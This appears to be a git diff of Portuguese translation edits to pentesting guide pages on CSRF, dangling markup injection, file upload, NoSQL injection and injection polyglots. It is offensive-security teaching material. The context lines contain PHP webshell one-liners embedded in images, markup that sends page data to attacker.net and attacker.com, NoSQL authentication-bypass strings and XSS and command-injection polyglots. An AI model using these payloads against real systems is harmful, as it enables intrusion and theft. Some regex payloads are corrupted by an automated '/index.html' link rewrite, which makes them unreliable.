-Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/).
+Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/index.html).
 
 ### **GET usando tags HTML**
 ```xml
@@ -234,7 +234,7 @@ background: url("...");
 </video>
 </audio>
 ```
-### Solicitação GET de formulário
+### Formulário de solicitação GET
 ```html
 <html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
@@ -373,7 +373,7 @@ body += "--" + boundary + "--"
 //xhr.send(body);
 xhr.sendAsBinary(body)
 ```
-### Formulário de solicitação POST de dentro de um iframe
+### Solicitação POST de formulário de dentro de um iframe
 ```html
 <--! expl.html -->
 

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,10 +4,10 @@
 
 ## Resumo
 
-Esta técnica pode ser usada para extrair informações de um usuário quando uma **injeção de HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas você pode **injetar algumas tags HTML**.\
+Esta técnica pode ser usada para extrair informações de um usuário quando uma **injeção de HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/index.html)mas você pode **injetar algumas tags HTML**.\
 Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se você quiser enganar alguma execução de script.
 
-Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Content Security Policy**](../content-security-policy-csp-bypass/) exfiltrando informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
+Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Content Security Policy**](../content-security-policy-csp-bypass/index.html)exfiltrando informações de maneiras inesperadas (tags html, CSS, tags meta http, formulários, base...).
 
 ## Principais Aplicações
 
@@ -67,7 +67,7 @@ Usando a técnica mencionada mais recente para roubar formulários (injetando um
 ```
 e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e a próxima aspas dupla no HTML. Este ataque mistura "_**Roubo de segredos em texto claro**_" com "_**Roubo de forms2**_".
 
-Você pode fazer a mesma coisa injetando um formulário e uma tag `<option>`. Todos os dados até que um `</option>` fechado seja encontrado serão enviados:
+Você pode fazer o mesmo injetando um formulário e uma tag `<option>`. Todos os dados até que um `</option>` fechado seja encontrado serão enviados:
 ```html
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
@@ -96,12 +96,12 @@ Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção at
 ```
 ### Bypassando CSP com interação do usuário
 
-A partir desta [pesquisa da portswigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), você pode aprender que mesmo em ambientes **mais restritos pelo CSP**, ainda é possível **exfiltrar dados** com alguma **interação do usuário**. Nesta ocasião, vamos usar o payload:
+A partir desta [pesquisa da portswigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), você pode aprender que mesmo em ambientes **mais restritos pelo CSP**, você ainda pode **exfiltrar dados** com alguma **interação do usuário**. Nesta ocasião, vamos usar o payload:
 ```html
 <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
 <base target='
 ```
-Note que você pedirá à **vítima** para **clicar em um link** que a **redirecionará** para um **payload** controlado por você. Também note que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
+Observe que você pedirá à **vítima** para **clicar em um link** que a **redirecionará** para um **payload** controlado por você. Também note que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
 Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo aquele **conteúdo HTML**. Portanto, como você **controla a página** onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
 ```html
 <script>
@@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
 ```
 Isso pode ser mitigado com algo como: `sandbox=' allow-scripts allow-top-navigation'`
 
-Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe, abusando da injeção HTML que faz com que **as informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
+Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe a si mesmo, abusando da injeção HTML que faz com que **as informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
 ```html
 <script>
 function cspBypass(win) {
@@ -186,7 +186,7 @@ Isso pode ser **evitado** com um **CSP** em relação ao **http-equiv** ( `Conte
 
 ### Novo \<portal HTML tag
 
-Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis da tag \<portal [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
+Você pode encontrar uma **pesquisa muito interessante** sobre vulnerabilidades exploráveis da tag \<portal [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
 No momento da escrita, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou não funcionará.
 ```html
 <portal src='https://attacker-server?

src/pentesting-web/file-upload/README.md

@@ -31,7 +31,7 @@ Outras extensões úteis:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Tente contornar as proteções **enganando o analisador de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (**bytes nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
+4. Tente contornar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (**bytes nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -45,13 +45,13 @@ Outras extensões úteis:
 - _file.php%00.png%00.jpg_
 6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
 - _ex: file.php.png_
-7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
-8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
+7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
+8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
 
 ```
 # Linux máximo 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
 # Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -65,13 +65,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confunda o comando _file_). Ou introduza o shell dentro dos **metadados**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
+`\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você poderia usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
@@ -81,16 +81,16 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possível divulgação de informações**:
 1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
 2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
-3. Enviando um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
-4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
+3. Fazendo upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
+4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
 5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
 6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
-- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
+- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
 
 ### Special extension tricks
 
-Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na **técnica .htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
-Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na **técnica .config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na técnica **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
+Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na técnica **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
 Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
 
@@ -98,7 +98,7 @@ A extensão `.inc` é às vezes usada para arquivos php que são apenas usados p
 
 ## **Jetty RCE**
 
-Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
+Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
@@ -106,7 +106,7 @@ Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode o
 
 Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração `.ini` é processado.
+Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
 
 Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
 ```ini
@@ -128,7 +128,7 @@ characters = @(call://uwsgi_func)
 ```
 A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
 
-É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
+É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo da exploração potencial.
 
 ## **wget File Upload/SSRF Trick**
 
@@ -174,13 +174,13 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
 - [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
+- Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
 - [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
 - PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
-- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
+- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivírus**
 - Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
 
-Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Aqui está uma lista das 10 principais coisas que você pode conseguir fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: XSS armazenado / SSRF / XXE
@@ -199,7 +199,7 @@ Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo u
 https://github.com/portswigger/upload-scanner
 {{#endref}}
 
-## Bytes de Cabeçalho Mágicos
+## Bytes Mágicos de Cabeçalho
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
@@ -253,7 +253,7 @@ create_zip()
 
 Para mais detalhes **verifique o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
+1.  **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados pela variável `$_REQUEST`.
 
 ```php
 <?php
@@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Modificação com um Editor Hex ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hex, mudando "xxA" para "../" para percorrer diretórios.
+3.  **Modificação com um Editor Hexadecimal ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para percorrer diretórios.
 
 ```bash
 :set modifiable
@@ -291,7 +291,7 @@ pop graphic-context
 
 Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
 
-Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
+Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
 
 Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 

src/pentesting-web/nosql-injection.md

@@ -1,4 +1,4 @@
-# Injeção NoSQL
+# NoSQL injection
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 Em PHP, você pode enviar um Array mudando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
 
-Os exploits são baseados em adicionar um **Operador**:
+Os exploits são baseados em adicionar um **Operator**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
 ```
 ### Bypass de autenticação básica
 
-**Usando não igual ($ne) ou maior ($gt)**
+**Usando diferente de ($ne) ou maior que ($gt)**
 ```bash
 #in URL
 username[$ne]=toto&password[$ne]=toto
@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -110,7 +110,7 @@ Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentej
 ```
 ## MongoDB Payloads
 
-Lista [aqui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+Lista [a partir daqui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -1,16 +1,16 @@
-# Técnicas de Reflexão - PoCs e CheatSheet de Polygloths
+# Reflecting Techniques - PoCs and Polygloths CheatSheet
 
 {{#include ../../banners/hacktricks-training.md}}
 
-O objetivo dessas PoCs e Polygloths é fornecer ao testador um **resumo** rápido das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
+O objetivo desses PoCs e Polygloths é fornecer ao testador um **resumo** rápido das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
 
 > [!WARNING]
-> Este **cheat sheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
+> Este **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
 
 > [!CAUTION]
 > Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você tentará isso por conta própria se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados backend.
 
-## Lista de Polygloths
+## Polygloths list
 ```python
 {{7*7}}[7*7]
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@@ -46,22 +46,22 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
-## [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md)
+## [Client Side Template Injection](../client-side-template-injection-csti.md)
 
 ### Testes Básicos
 ```
 {{7*7}}
 [7*7]
 ```
-### Poliglotos
+### Polygloths
 ```bash
 {{7*7}}[7*7]
 ```
-## [Injeção de Comando](../command-injection.md)
+## [Command Injection](../command-injection.md)
 
 ### Testes Básicos
 ```bash
@@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 `ls`
 $(ls)
 ```
-### Poliglotos
+### Polygloths
 ```bash
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@@ -88,13 +88,13 @@ $(ls)
